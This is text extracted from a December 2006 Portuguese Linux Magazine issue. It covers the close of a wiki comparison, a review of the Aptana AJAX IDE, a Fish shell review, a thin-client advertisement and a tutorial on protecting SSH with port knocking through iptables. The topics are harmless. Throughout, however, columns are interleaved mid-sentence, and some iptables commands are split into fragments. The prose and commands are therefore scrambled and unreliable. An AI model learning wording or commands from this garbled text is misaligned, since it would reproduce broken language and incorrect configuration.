disso, o sistema protege os arquivos – não há uma interface gráfica para isso. contra edição assim que eles atingem Como em todos os projetos apresentados, um determinado status. Junto com a documentação detalhada, aqui a alteração da interface também funciona com a ajuda do CSS, visto que essa a página do Dokuwiki fornece uma série de tutoriais. Eles tratam de extensões da é a técnica mais flexível. Se você desejar manter-se informa- sintaxe, melhoria do layout, bem como do sobre as alterações no wiki, então a inserção de novas funções. o Dokuwiki pode fornecer as informações necessárias: ele envia uma lista das páginas como feeds RSS ou Atom, que você anexa sem problemas Os wikis enxutos mostrados facilitam ao leitor atual. enormemente a introdução ao mundo O Dokuwiki suporta inúmeras lin- dos wikis, visto que são facilmente configuagens para a interface, que você pode gurados e administrados. Suas principais mostrados também os menus, bem como linhas de cabeçalho e rodapé. A documentação do projeto também é exemplar: ela fornece explicações e manuais de instalação e operação do wiki. As explicações se chamam Cookbooks (“Livros de receitas”).
Docuwiki
Conclusões
áreas de utilização são a documentação de projetos pequenos e médios, a página de uma empresa que precise ser constantemente alterada, ou um simples sistema de gerenciamento de conteúdo. Como o PmWiki, o MoinMoin e o Dokuwiki abrem a possibilidade de, através da administração de usuários, se criar grupos de autores, que podem ser configurados com diferentes direitos, esses projetos podem ser utilizados também em grandes grupos de usuários. Nos outros sistemas, no entanto, resta somente a possibilidade de proteger o diretório no qual o wiki está instalado contra acessos indesejados através do controle de acesso no servidor web. ■
Mais Informações [1] Enciclopédia on-line Wikipédia: http://pt.wikipedia.org [2] Tipiwiki: http://tipiwiki.sourceforge.net [3] Wikepage: http://www.wikipage. org/index.php?wiki=Wikepage [4] Temas para o Wikepage: http://www.wikepage.org/ index.php?wiki=Themes [5] PWP: http://www.lars-ackermann. de/wiki/static/StartPage.html [6] MoinMoin: http://moinmoin.wikiwikiweb.de [7] Desktop MoinMoin: http://moinmoin.wikiwikiweb. de/DesktopEdition [8] Ajuda para instalação do MoinMoin: http://moinmoin.wikiwikiweb. de/HelpOnInstalling/ [9] PmWiki: http://www.pmwiki.org/ [10] Versão independente do PmWiki: http://www.pmwiki.org/wiki/ Cookbook/Standalone [11] Arquivos de idioma para o PmWiki: http://www.pmwiki.org/ wiki/PmWiki/Download [12] Dokuwiki: http://www.splitbrain. org/projects/dokuwiki [13] Mediawiki (com base na Wikipédia): http://www.mediawiki.org [14] Wikkawiki (com suporte a banco de dados): http://wikkawiki.org [15] ErfurtWiki: http://erfurwiki.sourceforge.net/
Figura 4: O Docuwiki é indicado especialmente para a documentação de processos técnicos.
[16] Software wiki com base no WikiMatrix: http://www.wikimatrix.org/
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
41
Um ambiente de desenvolvimento livre para AJAX
CAPA
Aptana
Usuários do Eclipse podem ficar felizes: com o Aptana, existe uma confortável Gui externa para o desenvolvimento da Web 2.0, que é baseada em Eclipse e usa as populares bibliotecas Javascript. por Kristian Kissling
Barbara Bar - www.sxc.hu
A
ntes, para o desenvolvedor web, bas- um pouco precipitada. A IDE, que Depois, é necessário realizar uma tava um editor de textos. As páginas se baseia no Eclipse, é dedicada ao atualização dos pacotes do repositório HTML eram feitas de forma rápida desenvolvimento de elementos AJAX com um sudo apt-get update, para depois e descomplicada, e continham também e AFLAX, e é liberada sob a Licença instalar o Mozilla com sudo apt-get insum pouco de Javascript ou CSS. Com Pública 1.0 do Eclipse. Ela utiliza uma tall mozilla. O Java 1.4.2 necessário já a Web 2.0, a complexidade das páginas série de funções desse ambiente de de- vem com o Ubuntu. Finalmente, defina web cresce na mesma proporção que a senvolvimento modular, e funciona em mais uma variável de ambiente com o expectativa quanto às ferramentas de de- múltiplas plataformas. caminho para as bibliotecas Mozilla: senvolvimento. Mas os desenvolvedores O Aptana, na atual versão 0.2.4, traz ainda não foram tão longe: “No início de consigo ferramentas bastante sofisticadas export MOZILLA_FIVE_HOME=/usr/lib/mozilla nosso projeto, no final de 2005, pergun- – o impressionante Assistente de Código tamos a muitos desenvolvedores e desco- suporta frameworks como Dojo, MochiNa falta desse caminho, o Aptana brimos que a maioria deles ainda utiliza kit e Prototype, enquanto a ferramenta não é iniciado. Para inseri-lo permanenEmacs, Notepad e Vi. Isso significa que integrada Scriptdoc facilita a documen- temente, substitua as linhas no arquivo ninguém tem uma IDE completa para tação do código. Por enquanto, a IDE ~/.bashrc. a Web 2.0. Pois então, façamos algo para fala apenas inglês; o que, entretanto, No Suse, a instalação é um pouco mais mudar isso”, disse Paul Colton. deve mudar. Além disso, segundo o Ro- conturbada: como plugin para o Eclipse Colton é o fundador e a força mo- admap [3], a equipe trabalha no suporte (veja o quadro 1), o software não quis rodar no teste; entretanto, como variante triz por trás do Aptana [1], que muitos a PHP e ASP. comparam ao Dreamweaver, da Maindependente, sim. O Aptana, no Suse cromedia – certamente de maneira 10.0, também precisa de um ambiente Java – que deve ser obtido a partir de uma Existem duas versões do Aptana: Current fonte de pacotes externa. e Next [4]. A última possui os recursos Para inserir a nova fonte de pacotes, mais atuais, e por isso ainda pode ser chame o YaST e selecione em Fonte de instável. instalação | Editar | Substituir a opção Usuários do Ubuntu devem primei- FTP. Na linha Nome do Servidor, insira ro instalar através do Apt o conjunto de ftp.gwdg.de e, na linha abaixo, o caminho pacotes web Mozilla, a partir de um re- pub/opensuse/distribution/SL-OSS-factory/ positório externo. Para isso, abra como inst-source. O Suse lê facilmente a lista root o arquivo /etc//apt/sources.list e de pacotes da nova fonte. Por fim, instale procure a linha #deb http://br.archive. da maneira habitual os pacotes java-1_4_ ubuntu.com/ubuntu/dapper universe. Des- 2-gcj-compat, libgcj e mozilla. No Suse, comente essa linha, bem como a linha não se esqueça também de exportar o logo abaixo. No final de ambas, insira caminho – para ambas as versões do Os elementos visuais (views) dividem o espaço depois de universe – separado por um Suse o comando é: democraticamente entre si. Através de abas, as espaço – o termo multiverse, e salve o janelas dinâmicas são movidas para outra posição. export MOZILLA_FIVE_HOME=/opt/mozilla/lib arquivo modificado.
Instalação
Figura 1:
http://supertuxbr.blogspot.com 42
http://www.linuxmagazine.com.br
IDE AJAX | CAPA
nomes. Um duplo clique Na janela acima você pode administrar, em um nome expande a através de Code Assist Profiles, as bibliovisualização em modo de tecas de um projeto – sejam elas escritas tela cheia. Ao se pressio- por você mesmo ou externas, do Dojo ou nar o botão esquerdo do Prototype. No lado direito aparece ainda mouse, a visualização é uma visualização chamada Walkthrouarrastada para outro lo- ghs. Ela baixa dinamicamente diversos cal. Uma seta com um tutoriais de AJAX e AFLAX da Internet, número indica quando que são visualizados com um clique há várias janelas ocultas do mouse. sobrepostas. As visualizaAlém disso, o Aptana traz um extenso ções se conectam umas navegador de ajuda, que pode ser acessado às outras: quando uma através de Help | Help Contents (figura é maximizada, a outra 2). Ele contém não apenas explicações Figura 2: O navegador de ajuda é reconhecidamente muito é minimizada automa- passo-a-passo, como também as referênútil, não apenas por descrever o ambiente do Aptana, ticamente. cias para CSS, Javascript, HTML, DOM mas também porque contém referências para CSS e À direita encontra-se a Níveis 0 e 2 e o índice do Mochikit. PorJavascript. visualização da estrutura, tanto, trata-se também de documentação que mostra hierarquica- especialmente útil para iniciantes. Para iniciar o Aptana, execute o co- mente os elementos de código de uma mando aptana. O software pergunta em página. Abaixo temos a visualização de seguida onde você quer depositar o di- ações, que administra trechos de código retório Workspace, no qual você armazena (snippets) e modelos para CSS, HTML, Caso uma visualização desapareça da projetos e arquivos. Em seguida, abre-se Javascript e XML. O campo central ser- tela contra sua vontade, existe a possibiuma página inicial, que reproduz infor- ve como uma área de trabalho. Lá você lidade de chamá-la de volta através de mações atuais do site do programa. Caso escreve, altera e verifica o código-fonte. Windows | Show View | Other. Algumas a inicialização seja interrompida por Um clique em Preview, na aba inferior visualizações não são mostradas pelo uma mensagem de erro, insira o cami- esquerda, mostra uma pré-visualização. Aptana, pois ocupam muito espaço, e nho do Mozilla novamente e verifique Sua página aparece em uma janela de o Aptana as gerencia separadamente no processo de desenvolvimento – através sua instalação do Java com o comando navegador. java -version. A visualização de problemas abaixo da das chamadas Perspectivas. As perspecjanela principal mostra erros no script ou tivas estão reunidas em Window | Open tags inválidas – um console de scripting Perspective | Other. esconde a visualização atrás dele. O gerenAo selecionar uma delas, a IDE modiA interface gráfica do Aptana – assim ciador de arquivos integrado encontra-se fica sua aparência. Ela não apenas arrancomo a do Eclipse – é formada pelos no campo abaixo, à esquerda. Com ele, ja as visualizações de maneira diferente, chamados elementos visuais (Views), é possível pesquisar em diferentes pastas mas também adiciona novas, como as pequenas janelas dinâmicas que dividem por scripts e bibliotecas, e inserir novos visualizações de variáveis ou breakpoints, entre si o espaço disponível de maneira arquivos Javascript e CSS. Para manter no modo de depuração (figura 3). A confuncional (figura 1). Cada visualização o controle de todo o projeto, selecione figuração das perspectivas, do tamanho contém um agregador com barras de a visualização de projetos logo a seguir. das janelas e de seu posicionamento fica a critério do usuário. Ao encontrar a divisão de espaço perfeita, salve-a em Quadro 1: Aptana como plugin para o Eclipse Window | Save Perspective As. ➧
Visualização
Visão pública
Se você utilizar o Aptana no Ubuntu como um plugin para o Eclipse, terá à disposição funções adicionais do Eclipse, com as quais é possível desenvolver também em outras linguagens como Java ou C. Oficialmente, o Aptana suporta o Eclipse 3.1, mas o software coopera – embora de maneira levemente limitada – também com o Eclipse 3.2. No Ubuntu a IDE é instalada das fontes do Multiverse com um sudo apt-get install eclipse eclipse-jdt. Você não vai precisar do Aptana: o Eclipse será automaticamente baixado da Internet. Para iniciar o software, basta digitar eclipse na linha de comando. Primeiro o Eclipse pede um diretório para o Workspace. Feche a tela de boas-vindas para utilizar o menu. Selecione Open Perspective | Other | Debug e então Help | Software Updates | Find and Install. Aparece uma janela de diálogo, na qual você, através de Search for new features to install, busca por novas funções. Clicando no botão New Remote Site, aparece um campo de inserção, onde deve ser inserido o nome Aptana e, como URL, http://update.aptana.com/update/. Finalize o processo com um clique em Finish, selecionando no menu seguinte a entrada Aptana Development Tools, e então Next. Aceite a confirmação de licença e finalize o procedimento com Next e Finish – clicando em Install All, o Eclipse finalmente instala o Aptana. Para chamá-lo, selecione depois da reinicialização o menu Window | Open Perspective | Other e finalmente Aptana. Embora no teste o Aptana tenha apresentado duas mensagens de erro, a IDE trabalhou de maneira eficiente.
Figura 3: Com as perspectivas, é alterada a organização de cada janela e também são abertas novas visualizações com outras funções.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
43
CAPA | IDE AJAX
Figura 4: O assistente de código mostra quais características um seletor pode assumir.
Belas coisas
Como essa interface flexível pode auxiliar um programador? Com muitas funções como um assistente de código, visão em estrutura, realce de sintaxe, organização de código e através da integração das famosas bibliotecas Javascript. Como em outras IDEs, seus arquivos são agrupados em um projeto, que o Aptana deposita na pasta Workspace. Esses projetos podem ser exportados e importados como você quiser. Especificamente no trabalho com páginas web muito extensas, os projetos facilitam a visualização. Um clique em File | New | Project abre um novo projeto. Você pode escolher entre um projeto simples (Simple Project) e um projeto de biblioteca AJAX, que pode ser encontrado na entrada Web Library Project. Dê um nome a ele e verifique quais bibliotecas serão necessárias para o projeto AJAX. Como ponto de partida, o Aptana produz um arquivo de exemplo após a inicialização. Selecionando o Dojo como biblioteca Javascript, o arquivo terá o nome de dojo_sample.htm. Ele aparece na visualização do projeto e no código-fonte, na interface central. Acima, à esquerda em Code Assist Profiles aparecem os arquivos Javascript correspondentes dojo. js e html.js: um duplo clique os abre para edição. Escreva agora um programa próprio: o assistente de código irá ajudá-lo. Ao apagar um parêntese de algum trecho de um arquivo HTML, e em seguida digitá-lo novamente, aparece uma caixa que mostra quais características CSS são toleradas pelo seletor CSS e quais das características os navegadores conhecidos entendem (figura 4). Cada navegador interpreta as especificações CSS de maneira um pouco diferente; por isso, informação sempre contribui. Com as teclas de setas, é possível navegar entre as caixas. Marcan-
do um elemento, aparece ao lado um pequeno quadro que explica o que o elemento afeta. Com [Enter], a escolha é confirmada, e o Aptana insere o elemento próximo ao cursor. O assistente de código completa dessa forma alguns seletores, classes e funções – desde que ele tenha informações sobre isso. Com as funções escritas por ele próprio, a princípio ele não consegue iniciar nada. Então, alimente-o através do scriptdoc. O software prepara os dados dos documentos Javascript no workspace para os assistentes de código. Para isso, é necessário simplesmente documentar seus códigos em um esquema compacto.
Mais perspectivas
A visualização em modo de estrutura melhora a perspectiva em longos trechos de código. Normalmente as tags e funções são organizadas em código-fonte. A visão em estrutura reconhece esses elementos e suas inter-relações e então os constrói. Clicando em um determinado elemento, o cursor pula para o código-fonte. Além disso, pequenos símbolos próximos às tags informam se tratam-se de funções, variáveis ou seletores. Um clique em uma tag mostra que variáveis e funções estão escondidas ali. A visão em estrutura serve apenas para navegação, e não para alteração das entradas. Outra função do Aptana que facilita a escrita de código é o realce de sintaxe. A IDE destaca em cores os diferentes elementos do programa, de acordo com sua categoria, como valor, comentário ou simples texto. Isso facilita a compreensão do código. As cores podem ser alteradas de forma simples através de Window | Preferences | Aptana | Editors. Para que você tenha sempre à mão as partes do código mais freqüentemente necessárias, existem os snippets. Eles são encontrados na visualização de ações. Selecione um pedaço do código e clique no snippet de sua escolha. Em torno da seleção aparece uma tag específica. O software já vem com alguns modelos HTML; a função serve, na verdade, para que sejam inseridos snippets próprios. No Aptana também é possível comparar dois documentos entre si, ou o atual com uma versão anterior. Para isso, clique com o botão direito do mouse no código-fonte e então utilize a opção Compare with | Each Other. No mesmo local encontra-se a opção Team | Apply Patch, na qual pode-se aplicar um patch. Como sugere a palavra Team, o software
permite que um projeto seja gravado em um dispositivo de rede, permitindo que outros tenham acesso a ele.
Configuração
O menu Window | Preferences cria uma aba que permite realizar ajustes finos. Em Appearance são ajustadas as cores e aparências do Aptana. No campo Editors, uma seção importante é Keys: lá são inseridos atalhos de teclas ao Aptana, para permitir o acesso mais rápido a funções importantes. Em outro local são aplicados os formatos de arquivo dos editores: caso falte um editor para arquivos XUL, eles então são editados pelo editor XML. Em Startup and Shutdown são definidos quais plugins a IDE deve baixar automaticamente.
Resultado
O desenvolvimento do Aptana está apenas no início, mas a ferramenta livre começa a ganhar corpo. Deve-se admitir: grande parte das funções são contribuições dos desenvolvedores do Eclipse, mas a integração de bibliotecas, assistente de códigos e outras características fazem do Aptana uma ferramenta muito útil, especialmente para pessoas que não podem ou não pretendem se acostumar ao trabalho com o editor de textos. O Aptana é indicado tanto para iniciantes quanto usuários avançados interessados no AJAX. Em projetos extremamente grandes notam-se, no entanto, algumas fortes quedas de performance. Ele ainda não dispõe de tantas funções quanto o Quanta Plus; internacionalização especial, suporte a FTP e a Unicode ainda fazem parte da lista de futuros recursos do Projeto. Contudo, o Aptana marca muitos pontos na usabilidade e domina inúmeras funções Javascript. ■
Mais Informações [1] Página do projeto Aptana: http://www.aptana.com [2] Demos Aflax: http://www.aflax.org/demos.htm [3] Roadmap do Aptana: http://www.aptana.com/docs/ index.php/Aptana_Roadmap [4] Página de download do IDE: http://www.aptana.com/ download_linux.php#next
http://supertuxbr.blogspot.com 44
http://www.linuxmagazine.com.br
http://supertuxbr.blogspot.com
A Fish shell simplifica o console
ANÁLISE
Mais fácil que pescaria A Fish shell facilita imensamente o uso do console, com diversas facilidades que nenhuma outra shell jamais usou. Essa é uma grande ajuda para quem ainda tem medo da linha de comando. por Andreas Kneib
A
maioria dos novatos no Linux, assim como alguns veteranos, preferem manter certa distância da linha de comando. Consultar os manuais das principais alternativas em interpretadores de linha de comando costuma confundir mais do que ajudar. A página de manual que vem com o Bash tem aproximadamente 4000 linhas, e a do Zsh se estende por 17.000. O motivo para essa complexidade é que esses interpretadores de linha de comando não foram feitos com vistas ao usuário iniciante; em vez disso, foram criados visando à eficiência e a facilitar a automação por parte dos usuários experientes. Axel Liljencrantz lançou a Fish shell em fevereiro de 2005 como uma alternativa mais amigável de shell. Fish significa “Friendly Interactive Shell”. A Fish shell possui diversos recursos que facilitam a vida dos usuários e melhoram a aparência da linha de comando. Por exemplo, a Fish suporta os recursos de auto-completar com a tecla [Tab], realce de sintaxe e um sistema de ajuda facilmente navegável. A Fish consegue até mesmo autocompletar as opções de utilitários comuns como make, ls, du, ou programas como o MPlayer. (Usuários do Zsh já terão familiaridade com o recurso de auto-completar da Fish.)
É possível baixar a shell a partir da página de seu projeto, em [1]. A seção de download possui uma coleção de pacotes para várias distribuições, desde Debian, passando por Gentoo e Suse, até o Fedora Core. Se você preferir compilar a Fish shell a partir dos fontes, pode simplesmente baixar as tarballs do mesmo site.
Primeiros socorros
Após terminar a instalação, inicie a Fish em sua shell padrão com o comando fish. Uma mensagem “Welcome to fish” será mostrada, informando a opção externa de ajuda: “Type help for instructions on how to use fish”. A opção help inicia seu navegador web padrão com as páginas de ajuda, que se localizam em um diretório como /usr/share/doc/fish/ (dependendo da sua distribuição). A Fish tentará avaliar a variável de ambiente $BROWSER para identificar seu navegador, ou, caso essa variável não esteja definida, simplesmente procura um programa apropriado. A Fish shell é capaz de executar a ajuda automaticamente no Firefox em um ambiente X window. Enquanto isso, em ambientes de linha de comando, a Fish usará um navegador baseado em texto. Podemos passar diversos parâmetros para o comando help: help help lista a ajuda para o próprio comando help, por exemplo.
Mais ajuda
O software possui um teste de sanidade interno que captura erros de entrada. Por exemplo, se digitarmos cachorro = gato na linha de comando para definir uma variável, a Fish shell responderá automaticamente com uma explicação extensa, uma sugestão, e ainda oferecerá uma passagem pela página de ajuda. Obviamente, você pode perguntar qual o sentido de se exportar o texto de ajuda para HTML, em vez de mantê-lo nas páginas de manual e de info. Para os usuários de computadores menos potentes, que talvez não apreciem janelas de navegador abrindo sempre que tiverem uma pergunta, a Fish também oferece uma alternativa de página de manual, embora essas páginas incluídas na Fish sejam bastante sucintas quando comparadas à ajuda em HTML.
Realce de sintaxe
O realce de sintaxe da Fish realmente captura a atenção desde o primeiro comando. A shell amigável e interativa colore de vermelho tudo que é escrito, até que ela encontre um comando não ambíguo. Caso você pressione [Tab] enquanto o termo estiver vermelho, a Fish mostrará todos os padrões que casam com os caracteres já digitados, e dirá se esses padrões são links, programas ou diretórios.
http://supertuxbr.blogspot.com 46
http://www.linuxmagazine.com.br
Fish shell | ANÁLISE
Figura 1 A Fish oferece um resumo dos comandos que casam com o texto já digitado.
Em alguns casos, a Fish até informa algo sobre o que a ferramenta faz (figura 1). Se a saída de um comando for maior do que a área coberta pela janela do terminal, a Fish abrirá um localizador, onde é possível subir e descer através das setas do teclado. A linha de comando segue uma abordagem semelhante com as opções de alguns comandos. Novamente, os comandos da shell são mostrados em vermelho, até que se tornem não ambíguos, e o uso do [Tab] para auto-completar também está disponível. Os scripts sob /usr/share/fish/ cuidam disso. Se digitarmos help completion, o guia informará como estender esse recurso. A capacidade da Fish para apontar diferentes tipos de parênteses, colchetes e similares na linha de comando é outra
boa idéia que ajuda o usuário a gerenciar comandos mais longos.
Início automático
O comando open promete ser de grande ajuda na execução dos programas. Pode-se usá-lo para evitar a digitação do nome de um programa. Por exemplo open teste.pdf carrega o arquivo teste.pdf em um leitor de PDFs, suportando também curingas como o asterisco. O seguinte comando abre os documentos HTML do diretório atual em um navegador web: aknei@comone ~> open *.html
As configurações em seu banco de dados de Mimetypes especificam qual programa abrirá arquivos HTML. A Fish escolhe o
Transforme um PC antigo em um Thin Client Com o TC-FLASH você transforma um PC antigo em um thin client e isso custa menos do que você imagina.
aplicativo de acordo com esse banco de dados, e mapeia os arquivos para os programas conforme especificado nos arquivos .desktop que também são usados pelo KDE e pelo Gnome. Apesar de essa técnica conseguir associar arquivos a programas, shells como a Zsh possuem uma solução mais elegante para o problema das associações de arquivos. O comando alias -s html=firefox nos permite associar páginas web ao Firefox sem envolver o KDE, Gnome ou o banco de dados de Mimetypes.
Conclusões
Para um programa em estágio tão inicial de desenvolvimento, a Fish shell possui alguns mecanismos muito úteis, como o realce de sintaxe e o auto-completar. A função de ajuda incluída com a shell é bem feita. Os usuários avançados talvez não gostem da orientação do programa ao desktop, mas essa shell certamente ajuda a eliminar as freqüentes inibições das quais sofrem os usuários iniciantes de Linux. ■
Mais Informações [1] Página da Fish: http://roo.no-ip.org/fish/
-
O TC-FLASH é um módulo de memória Flash que contém o software dos thin clients TC-NET da ThinNetworks, que, quando substitui o HD, é capaz de reconhecer todos os dispositivos de um PC comum e transformá-lo em um verdadeiro thin client. O TCFLASH é compatível com serviço de terminal baseado emWindows e Linux. Aproveitando estes equipamentos já disponíveis, pode-se reduzir os custos a pelo menos 1/3 do valor de um thin client completo. A solução mais econômica para aqueles que cogitam a instalação de thin clients e dispõem de equipamentos fora de sua vida útil.
Fone: (61) 3366-1333 Skype: thinnetworks vendas@thinnet.com.br www.thinnetworks.com.br
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
47
O Port Knocking ajuda a proteger seu servidor
TUTORIAL
Quem bate? Algumas portas de rede em seus servidores devem ficar constantemente fechadas para evitar que bisbilhoteiros tentem abri-las. Com uma batida secreta, a entrada se revela. por Flávio do Carmo Júnior
Robert Aichinger - www.sxc.hu
A
técnica de Port Knocking, ou, em português, “Batida na Porta”, é caracterizada como “segurança baseada na obscuridade” (Security through Obscurity), que consiste na ocultação de um dado serviço de forma a levar a crer que o mesmo não existe, até que a pessoa autorizada necessite dele. Diferentemente de um super-servidor, como o xinetd ou o inetd, o port knocking oferece outra modalidade de segurança. Enquanto o super-servidor roda um daemon inteligente, que aguarda solicitações de conexões na porta de um serviço pré-configurado e só o executa mediante solicitação, o port knocking mantém o serviço rodando. Entretanto, Tabela 1: exemplo de fica bloqueado por uma regra portas para SSH de firewall que só libera uma Serviço Porta conexão após SSH 2200 uma seqüência Knock Open 60000 de batidas em Knock Close 1500 um conjunto
pré-estabelecido de portas, que não pre- sará a permitir que pacotes vindos desse cisam estar abertas ou oferecendo qualquer IP acessem a porta 2200. serviço. A tabela 1 mostra um exemplo de O ganho de segurança nesse ponto configuração bastante simples relacionada vem justamente do fato de que somente ao serviço SSH. o IP registrado terá assegurado o acesChamei de “Knock” o ato de bater na so à porta especificada. Depois que o porta, que nada mais é que enviar um usuário terminar seu acesso remoto ao pacote direcionado a ela. servidor, terá como responsabilidade o Agora digamos que o firewall de nosso fechamento da porta 2200. Para isso, o servidor esteja configurado para bloquear usuário enviará um pacote à porta 1500 conexões remotas à porta 2200, mas queira- do servidor, alertando o firewall do sermos liberar o acesso SSH nessa porta para, vidor para que feche a porta na qual o por exemplo, executarmos manutenção SSH estava escutando. remotamente ou exibirmos algum projeto Nesse exemplo simples, o acesso ao em desenvolvimento em determinado mo- serviço SSH foi liberado apenas para mento. Ampliar o acesso à Internet inteira um único IP. certamente é uma solução; no entanto, isso é pouco viável e desnecessariamente vulnerável, já que conhecemos o Port A tarefa de capturar os pacotes e registrar Knocking. Usando essa técnica, vamos o IP de seus remetentes não é trabalhosa. bloquear permanentemente a porta 2200 O daemon knockd [1] facilita ainda mais até que o firewall capture um pacote na esse processo; porém, vamos nos concenporta 60000. Assim que for detectado tal trar na implementação do port knocking pacote, o IP que o originou será registrado usando somente o iptables e seu módulo pelo firewall. Depois disso, o firewall pas- ipt_recent, o qual deve ter sido compila-
Iptables e kernel
http://supertuxbr.blogspot.com 48
http://www.linuxmagazine.com.br
Port Knocking | TUTORIAL
Exemplo 1: Opções do módulo ipt_recent [!] --set [!] --rcheck [!] --remove --seconds segundos --name nome --rsource --rdest
Adiciona um endereço de remetente à lista. Sempre retorna positivo. Retorna positivo caso um endereço de remetente conste na lista. Retorna positivo se o endereço de remetente estiver na lista, retirando-o da mesma. Útil em conjunto com --check e --rcheck. Estabelece que só se retorne positivo caso o endereço do remetente tenha se comunicado nos ➥ últimos 'segundos' segundos. Nome da lista de IPs recentes a ser usada. A lista 'DEFAULT' é usada caso esse parâmetro seja omitido. Salva o endereço do remetente de cada pacote na lista de IPs recentes (padrão). Salva o endereço de destino de cada pacote na lista de IPs recentes.
Exemplo 2: pknock.sh - regras de iptables para permitir a conexão 01 02 03 04 05
#!/bin/bash # iptables -A INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 60000 -m recent --rsource --set --name SSHKNOCK -j DROP # iptables -A INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 2200 -m recent --rcheck --rsource --name SSHKNOCK -j ACCEPT # iptables -A INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 1500 -m recent --remove --rsource --name SSHKNOCK -j DROP
do com o kernel da sua distribuição. Para verificar isso, digite: # modprobe -l | grep recent /lib/modules/2.6.15fw/kernel/net/ipv4/ ➥netfilter/ipt_recent.ko
Se o comando retornar algo, como ocorreu no exemplo acima, isso significa que o módulo está compilado. Caso contrário, provavelmente será necessário compilar seu kernel para incluir esse módulo. Todavia, esse procedimento não será coberto neste artigo, dada sua extensão e inúmeras variações dependentes do hardware usado na máquina, além da própria versão do kernel. Para carregar o módulo, use o comando modprobe ipt_recent. Caso seu servidor use um script para ativar o firewall, adicione o módulo ipt_recent.ko a este, para que o módulo seja carregado durante a ativação do firewall.
Módulo ipt_recent
O comando iptables -m recent -h nos permite resgatar as informações básicas do módulo ipt_recent; no momento, utilizaremos as opções listadas no exemplo 1. A lógica que seguiremos para o tratamento das conexões será a seguinte: ➧ Nosso firewall bloqueia conexões externas à porta 2200 – destinadas ao SSH; ➧ Um pacote enviado à porta 60000 guardará em uma lista o IP de quem o enviou; em seguida o mesmo pacote será ignorado (DROP); ➧ Quando um pedido de conexão à porta 2200 for efetuado, será consultada uma lista (que chamaremos de SSHKNOCK) – se o IP que o originou já constar nesta
Quadro 1: Políticas de firewall Podemos fazer uma breve descrição da atuação de políticas de um firewall com uma analogia a um shopping e uma residência. O shopping é um local onde qualquer pessoa pode entrar, a menos que haja uma regra obrigando a equipe de segurança a impedir seu acesso. Pessoas sem camisa, por exemplo, geralmente são impedidas de entrar em shoppings. Já em uma residência não se entra sem que se seja convidado, ou, no mínimo, que se tenha uma regra previamente estabelecida pelo dono da mesma que permita a entrada. Em termos um pouco mais técnicos: ➧ Política de Aceitação (shopping): Toda entrada é permitida, exceto aquelas claramente proibidas. ➧ Política de Negação (residência): Toda entrada é proibida, a menos que haja uma permissão explícita. Como se pode perceber, as duas políticas são fundamentalmente opostas. É possível construirmos firewalls eficientes e competentes com o uso de qualquer uma delas. Porém, como se pode imaginar, geralmente é mais interessante proibir qualquer entrada, a menos que haja permissão em contrário, exatamente como ocorre em nossas casas. Consultando sua política Em firewalls iptables, costumamos utilizar políticas ACCEPT para aceitação, enquanto a DROP realiza a negação. Utilizaremos o comando iptables -L INPUT | head -n1 para nossa consulta à corrente INPUT, que é a responsável pelos pacotes de rede destinados à interface em questão. A saída do comando deve parecer-se com a seguinte: Nesse momento, o importante para nós é o conteúdo entre parênteses (policy DROP). No caso acima, ele indica que a corrente (“Chain”) INPUT adota a política de negação (DROP). Caso tivéssemos uma política de aceitação, a saída seria:
[root@kemi ~]# iptables -L INPUT | head -n1 Chain INPUT (policy ACCEPT)
lista, a conexão será estabelecida; caso contrário, será aplicada a política padrão do firewall (DROP); ➧ Quando um pacote for enviado à porta 1500, consultaremos a lista; se o seu remetente já estiver contido lá, será retirado dela – desabilitando assim a conexão – e o pacote será ignorado. root@bishamonten:~# iptables -L INPUT | ➥ head -n1 Chain INPUT (policy DROP)
Implementação
Seguindo a lógica descrita acima, definiremos as regras como no exemplo 2, salvando-as no arquivo pknock.sh. Para ativar as regras, vamos primeiro zerar nosso firewall e estabelecer políticas
restritivas (veja o quadro 1 para mais informações sobre políticas de firewall): # iptables -F INPUT # iptables -P INPUT DROP
Agora já podemos chamar o arquivo para carregar as regras de Port Knocking. Em seguida, devemos conferir se as regras foram carregadas corretamente: pknock
# bash pknock.sh # iptables -L INPUT Chain INPUT (policy target prot opt ➥ destination DROP tcp -➥ anywhere ➥ dpt:60000 recent: ➥ side:source
DROP) source anywhere tcp spts:1024:65535 SET name: SSHKNOCK
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
49
TUTORIAL | Port Knocking
Quadro 2: Implementação com políticas Accept Se utilizarmos em nosso firewall uma política de ACCEPT, precisaremos adicionar a ele uma regra proibindo o acesso de qualquer pacote a nosso servidor, a qual deverá, obviamente, ser executada por último, para que só seja aplicada aos pacotes que não receberem um destino em nenhuma das outras regras. Num primeiro instante, precisaremos adicionar ao final das nossas regras o bloqueio ao serviço de SSHD que está rodando na porta 2200 do nosso exemplo:
# iptables -A INPUT -p tcp -s 0/0 --dport 2200 -j DROP A regra acima bloqueia qualquer requisição de conexão, proveniente de qualquer lugar (-s 0/0), e destinada à porta 2200. Se possuirmos uma rede interna e não quisermos exigir que os computadores pertencentes a ela também façam o Port Knocking, é necessário substituir a opção -s 0/0 por algo como:
# iptables -A INPUT -p tcp -s ! 192.168.1.0/255.255.255.0 --dport 2200 -j DROP O uso do ponto de exclamação (!) antes do endereço significa “qualquer endereço diferente de”, ou seja, todos os IPs que não pertençam à nossa rede interna, caso esta use a faixa de IPs 192.168.1.1 a 192.168.1.254. Prosseguindo aos outros passos, é importante atentar à alteração da ordem das regras, e também às opções dos comandos, pois esses dados são essenciais para o funcionamento correto de nosso sistema de firewall.
# iptables -I INPUT -p tcp # iptables -I INPUT -p tcp # iptables -I INPUT -p tcp ➥ 1024:65535 --dport 60000
-s -s -s -m
0/0 --sport 1024:65535 --dport 1500 -m recent --remove --rsource --name SSHKNOCK -j DROP 0/0 --sport 1024:65535 --dport 2200 -m recent --rcheck --rsource --name SSHKNOCK -j ACCEPT 0/0 --sport recent --rsource --set --name SSHKNOCK -j DROP
A ordem das regras foi alterada porque estamos inserindo-as no início da lista. Isso é realizado pela opção -I, no lugar de -A. A regra para utilização do Port Knocking por tempo também deve ser alterada para -I, deixando assim nosso segundo comando:
# iptables -I INPUT -p tcp -s 0/0 --sport 1024:65535 --dport 2200 -m recent --rcheck --seconds 60 --rsource --name SSHKNOCK -j ACCEPT
